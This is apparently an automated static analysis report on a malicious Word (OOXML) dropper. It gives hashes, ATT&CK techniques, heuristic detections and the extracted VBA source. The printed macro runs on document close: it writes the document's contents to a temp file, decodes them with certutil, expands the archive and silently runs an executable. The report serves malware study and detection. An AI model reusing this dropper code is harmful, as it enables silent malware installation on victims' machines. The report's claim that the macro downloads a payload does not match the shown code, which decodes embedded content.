Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5788b5a50cf8057f…

MALICIOUS

Office (OOXML)

987.8 KB Created: 2018-01-29 09:41:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2019-04-18
MD5: fefaa0df12195fc3d90d9393ad3a7840 SHA-1: f02bc89118e480efc963093ab6ed8d1fed3af521 SHA-256: 5788b5a50cf8057f138a585221bb55498987a3510fe4e60b38aaa803bddbe1e9
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The VBA macro within this document utilizes WScript.Shell to execute a series of commands. It first writes obfuscated content to a temporary file, then uses certutil to decode it, expands the resulting archive, and finally executes 'VizorHtmlDialog.exe'. This sequence strongly suggests the document is a dropper designed to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6444387-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6444387-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    DGHjIKbFRghjH.Close
Set uVFTyuiVGT = CreateObject("Wscript.Shell")
uVFTyuiVGT.Run "cmd.exe /c certutil -decode %temp%\\HfRYgyugy %temp%\\IcfRyFiuHdeU", 0, True
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set uVFTyuiVGT = CreateObject("Wscript.Shell")
uVFTyuiVGT.Run "cmd.exe /c certutil -decode %temp%\\HfRYgyugy %temp%\\IcfRyFiuHdeU", 0, True
uVFTyuiVGT.Run "cmd.exe /c expand %temp%\\IcfRyFiuHdeU -F:* %temp%\\", 0, True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set crHJUgVD = ActiveDocument.Range(1, IbRuVFdU)
Set jIHiuHY = CreateObject("Scripting.FileSystemObject")
Set DGHjIKbFRghjH = jIHiuHY.CreateTextFile(HYFRTghYcU, True)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Set uVFTyuiVGT = CreateObject("Wscript.Shell")
uVFTyuiVGT.Run "cmd.exe /c certutil -decode %temp%\\HfRYgyugy %temp%\\IcfRyFiuHdeU", 0, True
uVFTyuiVGT.Run "cmd.exe /c expand %temp%\\IcfRyFiuHdeU -F:* %temp%\\", 0, True
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Dim HYFRTghYcU As String
HYFRTghYcU = Environ("temp") & "\HfRYgyugy"
IbRuVFdU = ActiveDocument.Content.End
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1173 bytes
SHA-256: 9f95f200e7e05adfe6ecfa1795314ee053ac4f4ee6d4fc9da7c4440836c45304
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim IbRuVFdU As Long
Dim HYFRTghYcU As String
HYFRTghYcU = Environ("temp") & "\HfRYgyugy"
IbRuVFdU = ActiveDocument.Content.End
Set crHJUgVD = ActiveDocument.Range(1, IbRuVFdU)
Set jIHiuHY = CreateObject("Scripting.FileSystemObject")
Set DGHjIKbFRghjH = jIHiuHY.CreateTextFile(HYFRTghYcU, True)
DGHjIKbFRghjH.WriteLine (crHJUgVD)
DGHjIKbFRghjH.Close
Set uVFTyuiVGT = CreateObject("Wscript.Shell")
uVFTyuiVGT.Run "cmd.exe /c certutil -decode %temp%\\HfRYgyugy %temp%\\IcfRyFiuHdeU", 0, True
uVFTyuiVGT.Run "cmd.exe /c expand %temp%\\IcfRyFiuHdeU -F:* %temp%\\", 0, True
uVFTyuiVGT.Run "cmd.exe /c %temp%\\VizorHtmlDialog.exe", 0, False
Set uVFTyuiVGT = Nothing
Set jIHiuHY = Nothing
End Sub

Private Sub Document_New()

End Sub

Attribute VB_Name = "NewMacros"
Sub BYcuYIUGBTCFYGUGIKH()
'
' BYcuYIUGBTCFYGUGIKH Macro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 6cf527cc047be369117b6ba1634dbd02e311f8ae2b654026d27afcda2854d346

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